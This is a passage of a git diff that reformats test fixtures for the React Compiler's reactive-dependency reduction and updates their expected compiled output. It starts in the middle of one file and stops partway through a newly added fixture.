-import { arrayPush } from "shared-runtime";
+import {arrayPush} from 'shared-runtime';
 
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   if (cond) {
-    throw new Error("throw with error!");
+    throw new Error('throw with error!');
   }
 
   // unconditional
@@ -17,16 +17,16 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: null, cond: true },
-    { input: { a: { b: 2 } }, cond: false },
-    { input: null, cond: true },
+    {input: null, cond: true},
+    {input: {a: {b: 2}}, cond: false},
+    {input: null, cond: true},
     // preserve nullthrows
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
 
@@ -75,7 +75,7 @@ export const FIXTURE_ENTRYPOINT = {
       
 ### Eval output
 (kind: ok) [[ (exception in render) Error: throw with error! ]]
-[[ (exception in render) Error: throw with error! ]]
+[2]
 [[ (exception in render) Error: throw with error! ]]
 [[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]
 [null]
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/throw-before-scope-starts.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/throw-before-scope-starts.ts
index 4366a4016c05..923b17706577 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/throw-before-scope-starts.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/throw-before-scope-starts.ts
@@ -1,8 +1,8 @@
-import { arrayPush } from "shared-runtime";
+import {arrayPush} from 'shared-runtime';
 
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   if (cond) {
-    throw new Error("throw with error!");
+    throw new Error('throw with error!');
   }
 
   // unconditional
@@ -13,15 +13,15 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: null, cond: true },
-    { input: { a: { b: 2 } }, cond: false },
-    { input: null, cond: true },
+    {input: null, cond: true},
+    {input: {a: {b: 2}}, cond: false},
+    {input: null, cond: true},
     // preserve nullthrows
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain.expect.md
index fcb9926c22f0..a66540655ab7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain.expect.md
@@ -22,7 +22,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: { b: { c: 1 } } }],
+  params: [{a: {b: {c: 1}}}],
 };
 
 ```
@@ -44,11 +44,11 @@ import { c as _c } from "react/compiler-runtime"; // To preserve the nullthrows
 function Component(props) {
   const $ = _c(2);
   let x;
-  if ($[0] !== props.a) {
+  if ($[0] !== props.a.b) {
     x = [];
     x.push(props.a?.b);
     x.push(props.a.b.c);
-    $[0] = props.a;
+    $[0] = props.a.b;
     $[1] = x;
   } else {
     x = $[1];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain.ts
index cc8f1845c45d..b4dfed33d89a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain.ts
@@ -18,5 +18,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: { b: { c: 1 } } }],
+  params: [{a: {b: {c: 1}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain2.expect.md
index ad5dc911af5a..7818ca4e0da5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain2.expect.md
@@ -11,7 +11,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: { edges: null, length: 0 } }],
+  params: [{items: {edges: null, length: 0}}],
 };
 
 ```
@@ -21,16 +21,25 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(2);
+  const $ = _c(5);
   let x;
-  if ($[0] !== props.items) {
+  if ($[0] !== props.items?.edges || $[1] !== props.items?.length) {
     x = [];
     x.push(props.items?.length);
-    x.push(props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? []);
-    $[0] = props.items;
-    $[1] = x;
+    let t0;
+    if ($[3] !== props.items?.edges) {
+      t0 = props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? [];
+      $[3] = props.items?.edges;
+      $[4] = t0;
+    } else {
+      t0 = $[4];
+    }
+    x.push(t0);
+    $[0] = props.items?.edges;
+    $[1] = props.items?.length;
+    $[2] = x;
   } else {
-    x = $[1];
+    x = $[2];
   }
   return x;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain2.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain2.ts
index fd71f2759166..331cd4af1107 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain2.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain2.ts
@@ -7,5 +7,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: { edges: null, length: 0 } }],
+  params: [{items: {edges: null, length: 0}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/no-uncond.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/no-uncond.expect.md
index 8cef42f2fe02..f3b1a77995eb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/no-uncond.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/no-uncond.expect.md
@@ -4,10 +4,10 @@
 ```javascript
 // When an object's properties are only read conditionally, we should
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // track the base object as a dependency.
-function useOnlyConditionalDependencies({ props, cond }) {
+function useOnlyConditionalDependencies({props, cond}) {
   const x = {};
   if (identity(cond)) {
     x.b = props.a.b;
@@ -18,15 +18,15 @@ function useOnlyConditionalDependencies({ props, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useOnlyConditionalDependencies,
-  params: [{ props: { a: { b: 2 } }, cond: true }],
+  params: [{props: {a: {b: 2}}, cond: true}],
   sequentialRenders: [
-    { props: { a: { b: 2 } }, cond: true },
-    { props: null, cond: false },
+    {props: {a: {b: 2}}, cond: true},
+    {props: null, cond: false},
     // check we preserve nullthrows
-    { props: { a: { b: { c: undefined } } }, cond: true },
-    { props: { a: { b: undefined } }, cond: true },
-    { props: { a: { b: { c: undefined } } }, cond: true },
-    { props: undefined, cond: true },
+    {props: {a: {b: {c: undefined}}}, cond: true},
+    {props: {a: {b: undefined}}, cond: true},
+    {props: {a: {b: {c: undefined}}}, cond: true},
+    {props: undefined, cond: true},
   ],
 };
 
@@ -56,6 +56,7 @@ function useOnlyConditionalDependencies(t0) {
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/no-uncond.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/no-uncond.js
index 9dab2782eeaa..f5f249f4ac65 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/no-uncond.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/no-uncond.js
@@ -1,9 +1,9 @@
 // When an object's properties are only read conditionally, we should
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // track the base object as a dependency.
-function useOnlyConditionalDependencies({ props, cond }) {
+function useOnlyConditionalDependencies({props, cond}) {
   const x = {};
   if (identity(cond)) {
     x.b = props.a.b;
@@ -14,14 +14,14 @@ function useOnlyConditionalDependencies({ props, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useOnlyConditionalDependencies,
-  params: [{ props: { a: { b: 2 } }, cond: true }],
+  params: [{props: {a: {b: 2}}, cond: true}],
   sequentialRenders: [
-    { props: { a: { b: 2 } }, cond: true },
-    { props: null, cond: false },
+    {props: {a: {b: 2}}, cond: true},
+    {props: null, cond: false},
     // check we preserve nullthrows
-    { props: { a: { b: { c: undefined } } }, cond: true },
-    { props: { a: { b: undefined } }, cond: true },
-    { props: { a: { b: { c: undefined } } }, cond: true },
-    { props: undefined, cond: true },
+    {props: {a: {b: {c: undefined}}}, cond: true},
+    {props: {a: {b: undefined}}, cond: true},
+    {props: {a: {b: {c: undefined}}}, cond: true},
+    {props: undefined, cond: true},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/promote-uncond.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/promote-uncond.expect.md
index e7103b68f0d0..3d45b45fbfbb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/promote-uncond.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/promote-uncond.expect.md
@@ -5,7 +5,7 @@
 // When a conditional dependency `props.a.b.c` has no unconditional dependency
 // in its subpath or superpath, we should find the nearest unconditional access
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // and promote it to an unconditional dependency.
 function usePromoteUnconditionalAccessToDependency(props, other) {
@@ -19,7 +19,7 @@ function usePromoteUnconditionalAccessToDependency(props, other) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: usePromoteUnconditionalAccessToDependency,
-  params: [{ a: { a: { a: 3 } } }, false],
+  params: [{a: {a: {a: 3}}}, false],
 };
 
 ```
@@ -34,20 +34,22 @@ import { identity } from "shared-runtime";
 
 // and promote it to an unconditional dependency.
 function usePromoteUnconditionalAccessToDependency(props, other) {
-  const $ = _c(3);
+  const $ = _c(4);
   let x;
-  if ($[0] !== props.a || $[1] !== other) {
+  if ($[0] !== other || $[1] !== props.a.a.a || $[2] !== props.a.b) {
     x = {};
     x.a = props.a.a.a;
     if (identity(other)) {
       x.c = props.a.b.c;
     }
-    $[0] = props.a;
-    $[1] = other;
-    $[2] = x;
+    $[0] = other;
+    $[1] = props.a.a.a;
+    $[2] = props.a.b;
+    $[3] = x;
   } else {
-    x = $[2];
+    x = $[3];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/promote-uncond.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/promote-uncond.js
index 390bdeb59385..c89be5469a7a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/promote-uncond.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/promote-uncond.js
@@ -1,7 +1,7 @@
 // When a conditional dependency `props.a.b.c` has no unconditional dependency
 // in its subpath or superpath, we should find the nearest unconditional access
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // and promote it to an unconditional dependency.
 function usePromoteUnconditionalAccessToDependency(props, other) {
@@ -15,5 +15,5 @@ function usePromoteUnconditionalAccessToDependency(props, other) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: usePromoteUnconditionalAccessToDependency,
-  params: [{ a: { a: { a: 3 } } }, false],
+  params: [{a: {a: {a: 3}}}, false],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/reduce-if-exhaustive-poisoned-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/reduce-if-exhaustive-poisoned-deps.expect.md
index 5771b2a921f8..453790055184 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/reduce-if-exhaustive-poisoned-deps.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/reduce-if-exhaustive-poisoned-deps.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, inputHasAB, inputHasABC }) {
+function useFoo({input, inputHasAB, inputHasABC}) {
   const x = [];
   if (!inputHasABC) {
     x.push(identity(input.a));
@@ -20,7 +20,7 @@ function useFoo({ input, inputHasAB, inputHasABC }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { b: 1 }, inputHasAB: false, inputHasABC: false }],
+  params: [{input: {b: 1}, inputHasAB: false, inputHasABC: false}],
 };
 
 ```
@@ -34,9 +34,9 @@ import { identity } from "shared-runtime";
 function useFoo(t0) {
   const $ = _c(11);
   const { input, inputHasAB, inputHasABC } = t0;
-  let x;
   let t1;
-  if ($[0] !== inputHasABC || $[1] !== input.a || $[2] !== inputHasAB) {
+  let x;
+  if ($[0] !== input.a || $[1] !== inputHasAB || $[2] !== inputHasABC) {
     t1 = Symbol.for("react.early_return_sentinel");
     bb0: {
       x = [];
@@ -75,18 +75,19 @@ function useFoo(t0) {
         x.push(t2);
       }
     }
-    $[0] = inputHasABC;
-    $[1] = input.a;
-    $[2] = inputHasAB;
-    $[3] = x;
-    $[4] = t1;
+    $[0] = input.a;
+    $[1] = inputHasAB;
+    $[2] = inputHasABC;
+    $[3] = t1;
+    $[4] = x;
   } else {
-    x = $[3];
-    t1 = $[4];
+    t1 = $[3];
+    x = $[4];
   }
   if (t1 !== Symbol.for("react.early_return_sentinel")) {
     return t1;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/reduce-if-exhaustive-poisoned-deps.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/reduce-if-exhaustive-poisoned-deps.ts
index 55a3cb4c341b..4bb8b49ec676 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/reduce-if-exhaustive-poisoned-deps.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/reduce-if-exhaustive-poisoned-deps.ts
@@ -1,6 +1,6 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, inputHasAB, inputHasABC }) {
+function useFoo({input, inputHasAB, inputHasABC}) {
   const x = [];
   if (!inputHasABC) {
     x.push(identity(input.a));
@@ -16,5 +16,5 @@ function useFoo({ input, inputHasAB, inputHasABC }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { b: 1 }, inputHasAB: false, inputHasABC: false }],
+  params: [{input: {b: 1}, inputHasAB: false, inputHasABC: false}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order1.expect.md
index 4f650fafeaca..625e58dce7c4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order1.expect.md
@@ -7,7 +7,7 @@
 // semantics (with respect to nullthrows).
 // deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // ordering of accesses should not matter
 function useConditionalSubpath1(props, cond) {
@@ -21,7 +21,7 @@ function useConditionalSubpath1(props, cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useConditionalSubpath1,
-  params: [{ a: { b: 3 } }, false],
+  params: [{a: {b: 3}}, false],
 };
 
 ```
@@ -40,18 +40,19 @@ import { identity } from "shared-runtime";
 function useConditionalSubpath1(props, cond) {
   const $ = _c(3);
   let x;
-  if ($[0] !== props.a || $[1] !== cond) {
+  if ($[0] !== cond || $[1] !== props.a) {
     x = {};
     x.b = props.a.b;
     if (identity(cond)) {
       x.a = props.a;
     }
-    $[0] = props.a;
-    $[1] = cond;
+    $[0] = cond;
+    $[1] = props.a;
     $[2] = x;
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order1.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order1.js
index e4c48343a61f..858e3fc5ead6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order1.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order1.js
@@ -3,7 +3,7 @@
 // semantics (with respect to nullthrows).
 // deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // ordering of accesses should not matter
 function useConditionalSubpath1(props, cond) {
@@ -17,5 +17,5 @@ function useConditionalSubpath1(props, cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useConditionalSubpath1,
-  params: [{ a: { b: 3 } }, false],
+  params: [{a: {b: 3}}, false],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order2.expect.md
index 66239c1c56cb..6c0d9047d95f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order2.expect.md
@@ -7,7 +7,7 @@
 // semantics (with respect to nullthrows).
 // deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // ordering of accesses should not matter
 function useConditionalSubpath2(props, other) {
@@ -21,7 +21,7 @@ function useConditionalSubpath2(props, other) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useConditionalSubpath2,
-  params: [{ a: { b: 3 } }, false],
+  params: [{a: {b: 3}}, false],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order2.js
index cffe6dc13f05..1971893fac04 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order2.js
@@ -3,7 +3,7 @@
 // semantics (with respect to nullthrows).
 // deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // ordering of accesses should not matter
 function useConditionalSubpath2(props, other) {
@@ -17,5 +17,5 @@ function useConditionalSubpath2(props, other) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useConditionalSubpath2,
-  params: [{ a: { b: 3 } }, false],
+  params: [{a: {b: 3}}, false],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order1.expect.md
index b9047d03d45f..f82e78ccd92d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order1.expect.md
@@ -6,10 +6,10 @@
 // dependency `props.a.b`, we can safely overestimate and only track `props.a`
 // as a dependency
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // ordering of accesses should not matter
-function useConditionalSuperpath1({ props, cond }) {
+function useConditionalSuperpath1({props, cond}) {
   const x = {};
   x.a = props.a;
   if (identity(cond)) {
@@ -20,15 +20,15 @@ function useConditionalSuperpath1({ props, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useConditionalSuperpath1,
-  params: [{ props: { a: null }, cond: false }],
+  params: [{props: {a: null}, cond: false}],
   sequentialRenders: [
-    { props: { a: null }, cond: false },
-    { props: { a: {} }, cond: true },
-    { props: { a: { b: 3 } }, cond: true },
-    { props: {}, cond: false },
+    {props: {a: null}, cond: false},
+    {props: {a: {}}, cond: true},
+    {props: {a: {b: 3}}, cond: true},
+    {props: {}, cond: false},
     // test that we preserve nullthrows
-    { props: { a: { b: undefined } }, cond: true },
-    { props: { a: undefined }, cond: true },
+    {props: {a: {b: undefined}}, cond: true},
+    {props: {a: undefined}, cond: true},
   ],
 };
 
@@ -48,18 +48,19 @@ function useConditionalSuperpath1(t0) {
   const $ = _c(3);
   const { props, cond } = t0;
   let x;
-  if ($[0] !== props.a || $[1] !== cond) {
+  if ($[0] !== cond || $[1] !== props.a) {
     x = {};
     x.a = props.a;
     if (identity(cond)) {
       x.b = props.a.b;
     }
-    $[0] = props.a;
-    $[1] = cond;
+    $[0] = cond;
+    $[1] = props.a;
     $[2] = x;
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order1.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order1.js
index ecf3dea8b650..c38e8e9c9af8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order1.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order1.js
@@ -2,10 +2,10 @@
 // dependency `props.a.b`, we can safely overestimate and only track `props.a`
 // as a dependency
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // ordering of accesses should not matter
-function useConditionalSuperpath1({ props, cond }) {
+function useConditionalSuperpath1({props, cond}) {
   const x = {};
   x.a = props.a;
   if (identity(cond)) {
@@ -16,14 +16,14 @@ function useConditionalSuperpath1({ props, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useConditionalSuperpath1,
-  params: [{ props: { a: null }, cond: false }],
+  params: [{props: {a: null}, cond: false}],
   sequentialRenders: [
-    { props: { a: null }, cond: false },
-    { props: { a: {} }, cond: true },
-    { props: { a: { b: 3 } }, cond: true },
-    { props: {}, cond: false },
+    {props: {a: null}, cond: false},
+    {props: {a: {}}, cond: true},
+    {props: {a: {b: 3}}, cond: true},
+    {props: {}, cond: false},
     // test that we preserve nullthrows
-    { props: { a: { b: undefined } }, cond: true },
-    { props: { a: undefined }, cond: true },
+    {props: {a: {b: undefined}}, cond: true},
+    {props: {a: undefined}, cond: true},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order2.expect.md
index 86d435d4cccd..ffb310e77912 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order2.expect.md
@@ -6,10 +6,10 @@
 // dependency `props.a.b`, we can safely overestimate and only track `props.a`
 // as a dependency
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // ordering of accesses should not matter
-function useConditionalSuperpath2({ props, cond }) {
+function useConditionalSuperpath2({props, cond}) {
   const x = {};
   if (identity(cond)) {
     x.b = props.a.b;
@@ -20,15 +20,15 @@ function useConditionalSuperpath2({ props, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useConditionalSuperpath2,
-  params: [{ props: { a: null }, cond: false }],
+  params: [{props: {a: null}, cond: false}],
   sequentialRenders: [
-    { props: { a: null }, cond: false },
-    { props: { a: {} }, cond: true },
-    { props: { a: { b: 3 } }, cond: true },
-    { props: {}, cond: false },
+    {props: {a: null}, cond: false},
+    {props: {a: {}}, cond: true},
+    {props: {a: {b: 3}}, cond: true},
+    {props: {}, cond: false},
     // test that we preserve nullthrows
-    { props: { a: { b: undefined } }, cond: true },
-    { props: { a: undefined }, cond: true },
+    {props: {a: {b: undefined}}, cond: true},
+    {props: {a: undefined}, cond: true},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order2.js
index 46900c6f011d..23e7163ccf54 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order2.js
@@ -2,10 +2,10 @@
 // dependency `props.a.b`, we can safely overestimate and only track `props.a`
 // as a dependency
 
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 // ordering of accesses should not matter
-function useConditionalSuperpath2({ props, cond }) {
+function useConditionalSuperpath2({props, cond}) {
   const x = {};
   if (identity(cond)) {
     x.b = props.a.b;
@@ -16,14 +16,14 @@ function useConditionalSuperpath2({ props, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useConditionalSuperpath2,
-  params: [{ props: { a: null }, cond: false }],
+  params: [{props: {a: null}, cond: false}],
   sequentialRenders: [
-    { props: { a: null }, cond: false },
-    { props: { a: {} }, cond: true },
-    { props: { a: { b: 3 } }, cond: true },
-    { props: {}, cond: false },
+    {props: {a: null}, cond: false},
+    {props: {a: {}}, cond: true},
+    {props: {a: {b: 3}}, cond: true},
+    {props: {}, cond: false},
     // test that we preserve nullthrows
-    { props: { a: { b: undefined } }, cond: true },
-    { props: { a: undefined }, cond: true },
+    {props: {a: {b: undefined}}, cond: true},
+    {props: {a: undefined}, cond: true},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.expect.md
new file mode 100644
index 000000000000..bb99a5d90fe2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.expect.md
@@ -0,0 +1,61 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+function useFoo({a}) {
